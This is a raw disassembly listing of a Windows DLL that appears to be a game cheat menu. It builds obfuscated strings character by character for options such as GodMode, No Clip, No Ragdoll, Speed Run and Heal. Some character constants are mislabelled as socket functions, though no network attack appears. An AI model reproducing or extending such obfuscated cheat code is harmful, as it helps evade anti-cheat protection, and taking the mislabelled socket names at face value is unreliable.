movaps xmm2, xmm7
movaps xmm1, xmm7
lea rcx, [rbp + 0x4180]
call fcn.180011e10
mov rsi, rax
movaps xmm2, xmm15
movaps xmm1, xmm15
lea rcx, [rbp + 0x4188]
call fcn.180011e10
mov rdi, rax
movss xmm0, dword [rbp + 0x4b94]
cvtps2pd xmm0, xmm0
addsd xmm0, qword [0x1801ce690]
addsd xmm0, qword [0x1801ce6a8]
cvtpd2ps xmm2, xmm0
movss xmm1, dword [rbp + 0x4b90]
addss xmm1, dword [0x1801ce87c]
lea rcx, [rbp + 0x4198]
call fcn.180011e10
mov rbx, rax
movss xmm2, dword [rbp + 0x4b94]
movss xmm6, dword [0x1801ce778]
addss xmm2, xmm6
movss xmm1, dword [rbp + 0x4b90]
addss xmm1, dword [0x1801ce874]
lea rcx, [rbp + 0x41a0]
call fcn.180011e10
mov dword [rsp + 0x40], 0xf0
movss dword [rsp + 0x38], xmm6
mov dword [rsp + 0x30], 0xffffffff
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], rdi
mov r9, rbx
mov r8, rax
mov rdx, qword [0x1805e4910]
mov rcx, r14
call fcn.18008a0c0
mov dword [rsp + 0x20], 0xff
mov eax, recv
mov r9d, eax
mov r8d, eax
mov edx, eax
lea rcx, [rbp + 0x47d8]
call fcn.180011e40
mov rcx, rax
call fcn.180011e90
mov ebx, eax
movss xmm2, dword [rbp + 0x4b94]
movss xmm8, dword [0x1801ce7ac]
addss xmm2, xmm8
movss xmm0, dword [rbp + 0x4b90]
cvtps2pd xmm0, xmm0
addsd xmm0, qword [0x1801ce710]
cvtpd2ps xmm1, xmm0
lea rcx, [rbp + 0x41a8]
call fcn.180011e10
movss xmm0, dword [0x1801ce640]
movss dword [rsp + 0x28], xmm0
mov dword [rsp + 0x20], gethostname
mov r9d, ebx
movss xmm2, dword [0x1801ce77c]
mov rdx, rax
mov rcx, r14
call fcn.180089de0
movss xmm0, dword [0x1801ce7a8]
call fcn.180076bd0
movss xmm0, dword [0x1801ce78c]
call fcn.180076c20
mov rcx, qword [0x1805e49f0]
call fcn.180075760
lea rcx, [0x1805dded0]
call fcn.1800143e0
mov rbx, rax
movss dword [rsp + 0x20], xmm7
movaps xmm3, xmm7
movaps xmm2, xmm7
movaps xmm1, xmm7
lea rcx, [rbp + 0x47e8]
call fcn.180011e20
lea rdx, [rbp + 0x42e8]
mov rcx, rax
call fcn.18007f320
mov rdx, rbx
lea rcx, [rbp + 0x42e8]
call fcn.1800941d0
call fcn.180075800
call fcn.180070430
movaps xmm0, xmm10
call fcn.180076bd0
movaps xmm0, xmm10
call fcn.180076c20
mov dword [rsp + 0x20], 0xe6
mov eax, socket
mov r9d, eax
mov r8d, eax
mov edx, eax
lea rcx, [rbp + 0x47f8]
call fcn.180011e40
mov rdx, rax
mov ecx, 3
call fcn.180069630
lea rcx, [rbp + 0x41b0]
call fcn.180076f00
movss xmm6, dword [rax + 4]
lea rcx, [rbp + 0x41b8]
call fcn.180076f00
movaps xmm2, xmm6
movss xmm1, dword [rax]
lea rcx, [rbp + 0x41c0]
call fcn.180011e10
mov qword [rsp + 0x68], rax
xor eax, eax
mov qword [rbp + 0x5c0], rax
mov dword [rbp + 0x5c8], eax
mov byte [rbp + 0x5cc], al
mov cl, 0x23
call fcn.180056a20
mov byte [rsp + 0x61], al
mov cl, 0x23
call fcn.180056a20
mov byte [rsp + 0x62], al
mov cl, 0x6d
call fcn.180056a20
mov byte [rsp + 0x63], al
mov cl, 0x61
call fcn.180056a20
mov byte [rsp + 0x78], al
mov cl, 0x69
call fcn.180056a20
mov byte [rsp + 0x79], al
mov cl, WSAGetLastError
call fcn.180056a20
movzx r13d, al
mov cl, 0x5f
call fcn.180056a20
movzx r12d, al
mov cl, 0x63
call fcn.180056a20
movzx r15d, al
mov cl, 0x68
call fcn.180056a20
movzx r14d, al
mov cl, 0x69
call fcn.180056a20
movzx esi, al
mov cl, 0x6c
call fcn.180056a20
movzx edi, al
mov cl, 0x64
call fcn.180056a20
movzx ebx, al
xor ecx, ecx
call fcn.180056a20
movzx ecx, byte [rsp + 0x61]
mov byte [rbp + 0x5c0], cl
movzx ecx, byte [rsp + 0x62]
mov byte [rbp + 0x5c1], cl
movzx ecx, byte [rsp + 0x63]
mov byte [rbp + 0x5c2], cl
movzx ecx, byte [rsp + 0x78]
mov byte [rbp + 0x5c3], cl
movzx ecx, byte [rsp + 0x79]
mov byte [rbp + 0x5c4], cl
mov byte [rbp + 0x5c5], r13b
mov byte [rbp + 0x5c6], r12b
mov byte [rbp + 0x5c7], r15b
mov byte [rbp + 0x5c8], r14b
mov byte [rbp + 0x5c9], sil
mov byte [rbp + 0x5ca], dil
mov byte [rbp + 0x5cb], bl
mov byte [rbp + 0x5cc], al
lea rcx, [rbp + 0x1438]
call fcn.180011f00
mov dword [rbp - 0x78], 0x2000
xor r8d, r8d
mov ebx, reloc.WS2_32.dll_listen
mov edx, ebx
lea rcx, [rbp + 0x1438]
call fcn.180014330
xor edi, edi
mov esi, edi
mov r14d, ebx
nop dword [rax + rax]
mov rdx, rsi
lea rcx, [rbp + 0x5c0]
call fcn.180014aa0
movzx ecx, byte [rax]
call fcn.180056a20
movzx ebx, al
mov rdx, rsi
lea rcx, [rbp + 0x1438]
call fcn.180014c80
mov byte [rax], bl
inc rsi
sub r14, 1
jne 0x1800cae90
lea rcx, [rbp + 0x1438]
call fcn.1800143e0
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [rsp + 0x68]
mov rcx, rax
call fcn.180070380
mov dword [rbp - 0x78], edi
lea rcx, [rbp + 0x1438]
call fcn.180011f20
mov dword [rsp + 0x20], 0xff
mov eax, reloc.WS2_32.dll_select
mov r9d, eax
mov r8d, eax
mov edx, eax
lea rcx, [rbp + 0x4808]
call fcn.180011e40
mov rdx, rax
mov r14d, 3
mov ecx, r14d
call fcn.180069630
movss xmm7, dword [0x1801ce744]
movaps xmm1, xmm7
lea ecx, [r14 + 4]
call fcn.1800696e0
movsxd rax, dword [0x1805e4f5c]
cmp eax, 5
ja case.default.0x1800caf59
lea rdx, [0x180000000]
mov ecx, dword [rdx + rax*4 + 0xec330]
add rcx, rdx
jmp rcx
movss xmm13, dword [0x1801ce774]
movaps xmm0, xmm13
call fcn.180076c20
movaps xmm0, xmm13
call fcn.180076bd0
lea rcx, [rbp + 0x41c8]
call fcn.180076f00
movss xmm6, dword [rax + 4]
mulss xmm6, xmm9
movss xmm11, dword [0x1801ce760]
subss xmm6, xmm11
lea rcx, [rbp + 0x41d0]
call fcn.180076f00
movss xmm1, dword [rax]
mulss xmm1, xmm9
subss xmm1, xmm11
movaps xmm2, xmm6
lea rcx, [rbp + 0x41d8]
call fcn.180011e10
mov qword [rbp - 0x80], rax
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xc98], xmm0
mov dword [rbp + 0xca8], eax
mov byte [rbp + 0xcac], al
mov cl, 0x23
call fcn.1800147c0
mov byte [rsp + 0x61], al
mov cl, 0x23
call fcn.1800147c0
mov byte [rsp + 0x62], al
mov cl, reloc.WS2_32.dll_WSASetLastError
call fcn.1800147c0
mov byte [rsp + 0x63], al
mov cl, 0x6c
call fcn.1800147c0
mov byte [rsp + 0x78], al
mov cl, 0x61
call fcn.1800147c0
mov byte [rsp + 0x79], al
mov cl, 0x79
call fcn.1800147c0
mov byte [rsp + 0x7a], al
mov cl, 0x65
call fcn.1800147c0
mov byte [rsp + 0x7c], al
mov cl, WSAStartup
call fcn.1800147c0
mov byte [rsp + 0x7b], al
mov cl, 0x5f
call fcn.1800147c0
mov byte [rsp + 0x7d], al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.1800147c0
mov byte [rsp + 0x7e], al
mov cl, reloc.WS2_32.dll_WSASetLastError
call fcn.1800147c0
mov byte [rsp + 0x60], al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.1800147c0
mov byte [rsp + 0x5a], al
mov cl, 0x69
call fcn.1800147c0
mov byte [rsp + 0x59], al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.1800147c0
movzx r13d, al
mov cl, WSAGetLastError
call fcn.1800147c0
movzx r12d, al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.1800147c0
movzx r15d, al
mov cl, 0x5f
call fcn.1800147c0
movzx r14d, al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.1800147c0
movzx esi, al
mov cl, 0x61
call fcn.1800147c0
movzx edi, al
mov cl, 0x62
call fcn.1800147c0
movzx ebx, al
xor ecx, ecx
call fcn.1800147c0
movzx ecx, byte [rsp + 0x61]
mov byte [rbp + 0xc98], cl
movzx ecx, byte [rsp + 0x62]
mov byte [rbp + 0xc99], cl
movzx ecx, byte [rsp + 0x63]
mov byte [rbp + 0xc9a], cl
movzx ecx, byte [rsp + 0x78]
mov byte [rbp + 0xc9b], cl
movzx ecx, byte [rsp + 0x79]
mov byte [rbp + 0xc9c], cl
movzx ecx, byte [rsp + 0x7a]
mov byte [rbp + 0xc9d], cl
movzx ecx, byte [rsp + 0x7c]
mov byte [rbp + 0xc9e], cl
movzx ecx, byte [rsp + 0x7b]
mov byte [rbp + 0xc9f], cl
movzx ecx, byte [rsp + 0x7d]
mov byte [rbp + 0xca0], cl
movzx ecx, byte [rsp + 0x7e]
mov byte [rbp + 0xca1], cl
movzx ecx, byte [rsp + 0x60]
mov byte [rbp + 0xca2], cl
movzx ecx, byte [rsp + 0x5a]
mov byte [rbp + 0xca3], cl
movzx ecx, byte [rsp + 0x59]
mov byte [rbp + 0xca4], cl
mov byte [rbp + 0xca5], r13b
mov byte [rbp + 0xca6], r12b
mov byte [rbp + 0xca7], r15b
mov byte [rbp + 0xca8], r14b
mov byte [rbp + 0xca9], sil
mov byte [rbp + 0xcaa], dil
mov byte [rbp + 0xcab], bl
mov byte [rbp + 0xcac], al
lea rcx, [rbp + 0x1458]
call fcn.180011f00
mov dword [rsp + 0x5c], 0x200
xor r8d, r8d
mov edi, reloc.WS2_32.dll_setsockopt
mov edx, edi
lea rcx, [rbp + 0x1458]
call fcn.180014330
xor r13d, r13d
mov esi, r13d
nop dword [rax]
nop dword [rax + rax]
mov rdx, rsi
lea rcx, [rbp + 0xc98]
call fcn.180014590
movzx ecx, byte [rax]
call fcn.1800147c0
movzx ebx, al
mov rdx, rsi
lea rcx, [rbp + 0x1458]
call fcn.180014c80
mov byte [rax], bl
inc rsi
sub rdi, 1
jne 0x1800cb1c0
lea rcx, [rbp + 0x1458]
call fcn.1800143e0
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [rbp - 0x80]
mov rcx, rax
call fcn.180070380
nop
lea rcx, [rbp + 0x1458]
call fcn.180011f20
xor eax, eax
mov dword [rbp + 0xa0], eax
mov word [rbp + 0xa4], ax
mov byte [rbp + 0xa6], al
mov cl, 0x50
call fcn.1800567d0
movzx r12d, al
mov cl, 0x6c
call fcn.1800567d0
movzx r15d, al
mov cl, 0x61
call fcn.1800567d0
movzx r14d, al
mov cl, 0x79
call fcn.1800567d0
movzx esi, al
mov cl, 0x65
call fcn.1800567d0
movzx edi, al
mov cl, WSAStartup
call fcn.1800567d0
movzx ebx, al
xor ecx, ecx
call fcn.1800567d0
mov byte [rbp + 0xa0], r12b
mov byte [rbp + 0xa1], r15b
mov byte [rbp + 0xa2], r14b
mov byte [rbp + 0xa3], sil
mov byte [rbp + 0xa4], dil
mov byte [rbp + 0xa5], bl
mov byte [rbp + 0xa6], al
lea rcx, [rbp + 0x1478]
call fcn.180011f00
mov dword [rsp + 0x5c], 0x4000000
xor r8d, r8d
mov ebx, 7
mov edx, ebx
lea rcx, [rbp + 0x1478]
call fcn.180014330
mov edi, ebx
nop word [rax + rax]
mov rdx, r13
lea rcx, [rbp + 0xa0]
call fcn.180014a60
movzx ecx, byte [rax]
call fcn.1800567d0
movzx ebx, al
mov rdx, r13
lea rcx, [rbp + 0x1478]
call fcn.180014c80
mov byte [rax], bl
inc r13
sub rdi, 1
jne 0x1800cb2e0
lea rcx, [rbp + 0x1478]
call fcn.1800143e0
mov rcx, rax
call fcn.1800b1aa0
nop
lea rcx, [rbp + 0x1478]
call fcn.180011f20
mov rcx, qword [0x1805e4a20]
call fcn.180075760
movss xmm7, dword [0x1801ce7c0]
movaps xmm0, xmm7
call fcn.180076c20
movss xmm14, dword [0x1801ce7a8]
movaps xmm0, xmm14
call fcn.180076bd0
xor eax, eax
mov qword [rbp + 0x350], rax
mov byte [rbp + 0x358], al
mov cl, 0x20
call fcn.1800149d0
mov byte [rsp + 0x59], al
mov cl, 0x47
call fcn.1800149d0
movzx r13d, al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.1800149d0
movzx r12d, al
mov cl, 0x64
call fcn.1800149d0
movzx r15d, al
mov cl, 0x4d
call fcn.1800149d0
movzx r14d, al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.1800149d0
movzx esi, al
mov cl, 0x64
call fcn.1800149d0
movzx edi, al
mov cl, 0x65
call fcn.1800149d0
movzx ebx, al
xor ecx, ecx
call fcn.1800149d0
movzx ecx, byte [rsp + 0x59]
mov byte [rbp + 0x350], cl
mov byte [rbp + 0x351], r13b
mov byte [rbp + 0x352], r12b
mov byte [rbp + 0x353], r15b
mov byte [rbp + 0x354], r14b
mov byte [rbp + 0x355], sil
mov byte [rbp + 0x356], dil
mov byte [rbp + 0x357], bl
mov byte [rbp + 0x358], al
lea rcx, [rbp + 0x1498]
call fcn.180011f00
mov dword [rsp + 0x5c], 0x2000000
xor r8d, r8d
mov ebx, 9
mov edx, ebx
lea rcx, [rbp + 0x1498]
call fcn.180014330
xor edi, edi
mov esi, ebx
nop dword [rax]
mov rdx, rdi
lea rcx, [rbp + 0x350]
call fcn.180014be0
movzx ecx, byte [rax]
call fcn.1800149d0
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x1498]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800cb440
lea rcx, [rbp + 0x1498]
call fcn.1800143e0
mov rcx, rax
lea rdx, [0x1805e48a1]
call fcn.1800b3d40
nop
lea rcx, [rbp + 0x1498]
call fcn.180011f20
movaps xmm0, xmm14
call fcn.180076bd0
xor eax, eax
mov qword [rbp + 0x990], rax
mov dword [rbp + 0x998], eax
mov word [rbp + 0x99c], ax
mov cl, 0x20
call fcn.180014690
mov byte [rsp + 0x59], al
mov cl, 0x53
call fcn.180014690
mov byte [rsp + 0x5a], al
mov cl, 0x65
call fcn.180014690
mov byte [rsp + 0x60], al
mov cl, 0x6d
call fcn.180014690
mov byte [rsp + 0x61], al
mov cl, 0x69
call fcn.180014690
mov byte [rsp + 0x62], al
mov cl, 0x20
call fcn.180014690
mov byte [rsp + 0x63], al
mov cl, 0x47
call fcn.180014690
movzx r13d, al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.180014690
movzx r12d, al
mov cl, 0x64
call fcn.180014690
movzx r15d, al
mov cl, 0x4d
call fcn.180014690
movzx r14d, al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.180014690
movzx esi, al
mov cl, 0x64
call fcn.180014690
movzx edi, al
mov cl, 0x65
call fcn.180014690
movzx ebx, al
xor ecx, ecx
call fcn.180014690
movzx ecx, byte [rsp + 0x59]
mov byte [rbp + 0x990], cl
movzx ecx, byte [rsp + 0x5a]
mov byte [rbp + 0x991], cl
movzx ecx, byte [rsp + 0x60]
mov byte [rbp + 0x992], cl
movzx ecx, byte [rsp + 0x61]
mov byte [rbp + 0x993], cl
movzx ecx, byte [rsp + 0x62]
mov byte [rbp + 0x994], cl
movzx ecx, byte [rsp + 0x63]
mov byte [rbp + 0x995], cl
mov byte [rbp + 0x996], r13b
mov byte [rbp + 0x997], r12b
mov byte [rbp + 0x998], r15b
mov byte [rbp + 0x999], r14b
mov byte [rbp + 0x99a], sil
mov byte [rbp + 0x99b], dil
mov byte [rbp + 0x99c], bl
mov byte [rbp + 0x99d], al
lea rcx, [rbp + 0x14b8]
call fcn.180011f00
mov dword [rsp + 0x5c], 0x1000000
xor r8d, r8d
mov r14d, send
mov edx, r14d
lea rcx, [rbp + 0x14b8]
call fcn.180014330
xor edi, edi
mov esi, edi
nop word [rax + rax]
mov rdx, rsi
lea rcx, [rbp + 0x990]
call fcn.1800149b0
movzx ecx, byte [rax]
call fcn.180014690
movzx ebx, al
mov rdx, rsi
lea rcx, [rbp + 0x14b8]
call fcn.180014c80
mov byte [rax], bl
inc rsi
sub r14, 1
jne 0x1800cb600
lea rcx, [rbp + 0x14b8]
call fcn.1800143e0
mov rcx, rax
lea rdx, [0x1805e48a9]
call fcn.1800b3d40
nop
lea rcx, [rbp + 0x14b8]
call fcn.180011f20
call fcn.180096cd0
call fcn.180096cd0
movaps xmm0, xmm14
call fcn.180076bd0
xor eax, eax
mov qword [rbp + 0x11a0], rax
mov cl, 0x20
call fcn.180014780
mov byte [rsp + 0x68], al
mov cl, 0x4e
call fcn.180014780
mov byte [rsp + 0x69], al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.180014780
mov byte [rsp + 0x6a], al
mov cl, 0x43
call fcn.180014780
mov byte [rsp + 0x6b], al
mov cl, 0x6c
call fcn.180014780
mov byte [rsp + 0x6c], al
mov cl, 0x69
call fcn.180014780
mov byte [rsp + 0x6d], al
mov cl, reloc.WS2_32.dll_WSASetLastError
call fcn.180014780
mov byte [rsp + 0x6e], al
xor ecx, ecx
call fcn.180014780
mov byte [rsp + 0x6f], al
mov rax, qword [rsp + 0x68]
mov qword [rbp + 0x11a0], rax
lea rcx, [rbp + 0x14d8]
call fcn.180011f00
mov dword [rsp + 0x5c], 0x400000
xor r8d, r8d
mov ebx, 8
mov edx, ebx
lea rcx, [rbp + 0x14d8]
call fcn.180014330
mov esi, ebx
nop dword [rax + rax]
mov rdx, rdi
lea rcx, [rbp + 0x11a0]
call fcn.1800149e0
movzx ecx, byte [rax]
call fcn.180014780
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x14d8]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800cb710
lea rcx, [rbp + 0x14d8]
call fcn.1800143e0
mov rcx, rax
lea rdx, [0x1805e48a2]
call fcn.1800b3d40
nop
lea rcx, [rbp + 0x14d8]
call fcn.180011f20
cmp byte [0x1805e48a2], sil
je 0x1800cb8f9
call fcn.180096cd0
call fcn.180096cd0
movaps xmm0, xmm7
call fcn.180076bd0
xor eax, eax
mov cl, 0x20
cmp byte [reloc.WS2_32.dll_accept], al
je 0x1800cb827
mov dword [rbp + 0xf8], eax
mov word [rbp + 0xfc], ax
call fcn.180056a00
movzx r15d, al
mov cl, 0x5a
call fcn.180056a00
movzx r14d, al
mov cl, 0x51
call fcn.180056a00
movzx esi, al
mov cl, 0x53
call fcn.180056a00
movzx edi, al
mov cl, 0x44
call fcn.180056a00
movzx ebx, al
xor ecx, ecx
call fcn.180056a00
mov byte [rbp + 0xf8], r15b
mov byte [rbp + 0xf9], r14b
mov byte [rbp + 0xfa], sil
mov byte [rbp + 0xfb], dil
mov byte [rbp + 0xfc], bl
mov byte [rbp + 0xfd], al
lea rdx, [rbp + 0x4aa8]
lea rcx, [rbp + 0xf8]
call fcn.1800ed550
nop
mov ebx, 1
jmp 0x1800cb8ae
mov dword [rbp + 0x100], eax
mov word [rbp + 0x104], ax
call fcn.180014760
movzx r15d, al
mov cl, 0x57
call fcn.180014760
movzx r14d, al
mov cl, 0x41
call fcn.180014760
movzx esi, al
mov cl, 0x53
call fcn.180014760
movzx edi, al
mov cl, 0x44
call fcn.180014760
movzx ebx, al
xor ecx, ecx
call fcn.180014760
mov byte [rbp + 0x100], r15b
mov byte [rbp + 0x101], r14b
mov byte [rbp + 0x102], sil
mov byte [rbp + 0x103], dil
mov byte [rbp + 0x104], bl
mov byte [rbp + 0x105], al
lea rdx, [rbp + 0x4a88]
lea rcx, [rbp + 0x100]
call fcn.1800ed610
nop
mov ebx, 2
mov dword [rbp - 0x78], ebx
mov rcx, rax
call fcn.1800143e0
mov rcx, rax
lea rdx, [0x1805ddd04]
call fcn.1800b3d40
nop
test bl, 2
je 0x1800cb8de
and ebx, 0xfffffffd
lea rcx, [rbp + 0x4a88]
call fcn.180011f20
nop
test bl, 1
je 0x1800cb8ef
lea rcx, [rbp + 0x4aa8]
call fcn.180011f20
call fcn.180096cd0
call fcn.180096cd0
movaps xmm0, xmm14
call fcn.180076bd0
xor eax, eax
mov qword [rbp + 0xb20], rax
mov dword [rbp + 0xb28], eax
mov cl, 0x20
call fcn.1800569e0
mov byte [rsp + 0x59], al
mov cl, 0x4e
call fcn.1800569e0
mov byte [rsp + 0x5a], al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.1800569e0
mov byte [rsp + 0x60], al
mov cl, 0x20
call fcn.1800569e0
mov byte [rsp + 0x61], al
mov cl, 0x52
call fcn.1800569e0
movzx r13d, al
mov cl, 0x61
call fcn.1800569e0
movzx r12d, al
mov cl, 0x67
call fcn.1800569e0
movzx r15d, al
mov cl, 0x64
call fcn.1800569e0
movzx r14d, al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.1800569e0
movzx esi, al
mov cl, 0x6c
call fcn.1800569e0
movzx edi, al
mov cl, 0x6c
call fcn.1800569e0
movzx ebx, al
xor ecx, ecx
call fcn.1800569e0
movzx ecx, byte [rsp + 0x59]
mov byte [rbp + 0xb20], cl
movzx ecx, byte [rsp + 0x5a]
mov byte [rbp + 0xb21], cl
movzx ecx, byte [rsp + 0x60]
mov byte [rbp + 0xb22], cl
movzx ecx, byte [rsp + 0x61]
mov byte [rbp + 0xb23], cl
mov byte [rbp + 0xb24], r13b
mov byte [rbp + 0xb25], r12b
mov byte [rbp + 0xb26], r15b
mov byte [rbp + 0xb27], r14b
mov byte [rbp + 0xb28], sil
mov byte [rbp + 0xb29], dil
mov byte [rbp + 0xb2a], bl
mov byte [rbp + 0xb2b], al
lea rcx, [rbp + 0x14f8]
call fcn.180011f00
mov dword [rsp + 0x5c], 0x200000
xor r8d, r8d
mov ebx, recv
mov edx, ebx
lea rcx, [rbp + 0x14f8]
call fcn.180014330
xor edi, edi
mov esi, ebx
nop
mov rdx, rdi
lea rcx, [rbp + 0xb20]
call fcn.180014b10
movzx ecx, byte [rax]
call fcn.1800569e0
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x14f8]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800cba20
lea rcx, [rbp + 0x14f8]
call fcn.1800143e0
mov rcx, rax
lea rdx, [0x1805e4f6a]
call fcn.1800b3d40
nop
lea rcx, [rbp + 0x14f8]
call fcn.180011f20
call fcn.180096cd0
call fcn.180096cd0
movaps xmm0, xmm14
call fcn.180076bd0
xor eax, eax
mov qword [rbp + 0x2e0], rax
mov word [rbp + 0x2e8], ax
mov byte [rbp + 0x2ea], al
mov cl, 0x20
call fcn.180014970
mov byte [rsp + 0x59], al
mov cl, 0x53
call fcn.180014970
mov byte [rsp + 0x5a], al
mov cl, reloc.WS2_32.dll_WSASetLastError
call fcn.180014970
mov byte [rsp + 0x60], al
mov cl, 0x65
call fcn.180014970
movzx r13d, al
mov cl, 0x65
call fcn.180014970
movzx r12d, al
mov cl, 0x64
call fcn.180014970
movzx r15d, al
mov cl, 0x20
call fcn.180014970
movzx r14d, al
mov cl, 0x52
call fcn.180014970
movzx esi, al
mov cl, 0x75
call fcn.180014970
movzx edi, al
mov cl, WSAGetLastError
call fcn.180014970
movzx ebx, al
xor ecx, ecx
call fcn.180014970
movzx ecx, byte [rsp + 0x59]
mov byte [rbp + 0x2e0], cl
movzx ecx, byte [rsp + 0x5a]
mov byte [rbp + 0x2e1], cl
movzx ecx, byte [rsp + 0x60]
mov byte [rbp + 0x2e2], cl
mov byte [rbp + 0x2e3], r13b
mov byte [rbp + 0x2e4], r12b
mov byte [rbp + 0x2e5], r15b
mov byte [rbp + 0x2e6], r14b
mov byte [rbp + 0x2e7], sil
mov byte [rbp + 0x2e8], dil
mov byte [rbp + 0x2e9], bl
mov byte [rbp + 0x2ea], al
lea rcx, [rbp + 0x1518]
call fcn.180011f00
mov dword [rsp + 0x5c], 0x100000
xor r8d, r8d
mov esi, listen
mov edx, esi
lea rcx, [rbp + 0x1518]
call fcn.180014330
xor edi, edi
nop word [rax + rax]
mov rdx, rdi
lea rcx, [rbp + 0x2e0]
call fcn.180014af0
movzx ecx, byte [rax]
call fcn.180014970
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x1518]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800cbba0
lea rcx, [rbp + 0x1518]
call fcn.1800143e0
mov rcx, rax
lea rdx, [0x1805e48a0]
call fcn.1800b3d40
nop
lea rcx, [rbp + 0x1518]
call fcn.180011f20
movaps xmm0, xmm14
call fcn.180076bd0
xor eax, eax
mov qword [rbp + 0xb30], rax
mov dword [rbp + 0xb38], eax
mov cl, 0x20
call fcn.1800146b0
mov byte [rsp + 0x59], al
mov cl, 0x53
call fcn.1800146b0
mov byte [rsp + 0x5a], al
mov cl, reloc.WS2_32.dll_WSASetLastError
call fcn.1800146b0
mov byte [rsp + 0x60], al
mov cl, 0x65
call fcn.1800146b0
mov byte [rsp + 0x61], al
mov cl, 0x65
call fcn.1800146b0
movzx r13d, al
mov cl, 0x64
call fcn.1800146b0
movzx r12d, al
mov cl, 0x20
call fcn.1800146b0
movzx r15d, al
mov cl, 0x53
call fcn.1800146b0
movzx r14d, al
mov cl, 0x77
call fcn.1800146b0
movzx esi, al
mov cl, 0x69
call fcn.1800146b0
movzx edi, al
mov cl, 0x6d
call fcn.1800146b0
movzx ebx, al
xor ecx, ecx
call fcn.1800146b0
movzx ecx, byte [rsp + 0x59]
mov byte [rbp + 0xb30], cl
movzx ecx, byte [rsp + 0x5a]
mov byte [rbp + 0xb31], cl
movzx ecx, byte [rsp + 0x60]
mov byte [rbp + 0xb32], cl
movzx ecx, byte [rsp + 0x61]
mov byte [rbp + 0xb33], cl
mov byte [rbp + 0xb34], r13b
mov byte [rbp + 0xb35], r12b
mov byte [rbp + 0xb36], r15b
mov byte [rbp + 0xb37], r14b
mov byte [rbp + 0xb38], sil
mov byte [rbp + 0xb39], dil
mov byte [rbp + 0xb3a], bl
mov byte [rbp + 0xb3b], al
lea rcx, [rbp + 0x1538]
call fcn.180011f00
mov dword [rsp + 0x5c], 0x80000
xor r8d, r8d
mov ebx, recv
mov edx, ebx
lea rcx, [rbp + 0x1538]
call fcn.180014330
xor r13d, r13d
mov edi, r13d
mov esi, ebx
nop word [rax + rax]
mov rdx, rdi
lea rcx, [rbp + 0xb30]
call fcn.180014b10
movzx ecx, byte [rax]
call fcn.1800146b0
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x1538]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800cbd30
lea rcx, [rbp + 0x1538]
call fcn.1800143e0
mov rcx, rax
lea rdx, [0x1805e48a8]
call fcn.1800b3d40
nop
lea rcx, [rbp + 0x1538]
call fcn.180011f20
call fcn.180096cd0
call fcn.180096cd0
movaps xmm0, xmm13
call fcn.180076bd0
movss xmm1, dword [0x1801ce5d0]
lea ecx, [rsi + 0xd]
call fcn.1800696e0
lea rcx, [rbp + 0x41e0]
call fcn.180076f00
movss xmm1, dword [rax]
mulss xmm1, xmm9
subss xmm1, xmm11
movaps xmm2, xmm13
lea rcx, [rbp + 0x41e8]
call fcn.180011e10
mov r15, rax
xor eax, eax
mov dword [rbp + 0x10], eax
mov byte [rbp + 0x14], al
mov cl, 0x48
call fcn.1800ed820
movzx r14d, al
mov cl, 0x65
call fcn.1800ed820
movzx esi, al
mov cl, 0x61
call fcn.1800ed820
movzx edi, al
mov cl, 0x6c
call fcn.1800ed820
movzx ebx, al
xor ecx, ecx
call fcn.1800ed820
mov byte [rbp + 0x10], r14b
mov byte [rbp + 0x11], sil
mov byte [rbp + 0x12], dil
mov byte [rbp + 0x13], bl
mov byte [rbp + 0x14], al
lea rcx, [rbp + 0x1558]
call fcn.180011f00
mov dword [rsp + 0x5c], 0x40000
xor r8d, r8d
mov esi, 5
mov edx, esi
lea rcx, [rbp + 0x1558]
call fcn.180014330
mov rdi, r13
mov rdx, rdi
lea rcx, [rbp + 0x10]
call fcn.180014a00
movzx ecx, byte [rax]
call fcn.1800ed820
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x1558]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800cbe53
lea rcx, [rbp + 0x1558]
call fcn.1800143e0
mov rdx, r15
mov rcx, rax
call fcn.180094d40
movzx ebx, al
lea rcx, [rbp + 0x1558]
call fcn.180011f20
test bl, bl
je 0x1800cbec7
lea rcx, [0x1805e5b98]
call fcn.1800543e0
movss xmm0, dword [0x1801f7060]
call fcn.1800afba0
movss xmm10, dword [0x1801ce8d8]
movaps xmm1, xmm10
movaps xmm0, xmm15
call fcn.180076ad0
lea rcx, [rbp + 0x41f0]
call fcn.180076f00
movss xmm1, dword [rax]
subss xmm1, xmm13
movaps xmm2, xmm13
lea rcx, [rbp + 0x41f8]
call fcn.180011e10
mov r12, rax
xor eax, eax
mov dword [rbp + 0x108], eax
mov word [rbp + 0x10c], ax
mov cl, 0x41
call fcn.1800567b0
movzx r15d, al
mov cl, WSAStartup
call fcn.1800567b0
movzx r14d, al
mov cl, 0x6d
call fcn.1800567b0
movzx esi, al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.1800567b0
movzx edi, al
mov cl, WSAStartup
call fcn.1800567b0
movzx ebx, al
xor ecx, ecx
